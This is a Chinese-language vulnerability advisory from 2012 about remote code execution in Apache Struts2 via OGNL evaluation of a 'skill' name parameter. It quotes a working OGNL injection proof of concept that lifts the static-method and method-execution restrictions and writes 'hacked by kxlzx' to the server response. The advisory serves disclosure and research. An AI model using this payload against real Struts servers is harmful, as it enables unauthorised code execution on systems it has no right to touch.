Apache Struts2 Skill名稱遠程代碼執(zhí)行漏洞

發(fā)布日期：2012-08-23
更新日期：2012-08-28

受影響系統(tǒng)：
Apache Group Struts2
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 55165

-
 

Apache Struts是一款開發(fā)Java Web應用程序的開源Web應用框架。

Apache Struts在實現(xiàn)上存在安全漏洞，攻擊者可利用此漏洞在網(wǎng)絡服務器進程中運行上傳的腳本代碼，導致非法訪問或權限提升。

<*來源：kxlzx
  *>

測試方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能帶有攻擊性，僅供安全研究與教學之用。使用者風險自負！

kxlzx （）提供了如下測試方法：

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

建議：
--------------------------------------------------------------------------------
廠商補丁：

Apache Group
------------
目前廠商還沒有提供補丁或者升級程序，我們建議使用此軟件的用戶隨時關注廠商的主頁以獲取最新版本：

http://httpd.apache.org/

服務器租用/服務器托管中國五強！虛擬主機域名注冊頂級提供商！15年品質保障！--億恩科技[ENKJ.COM]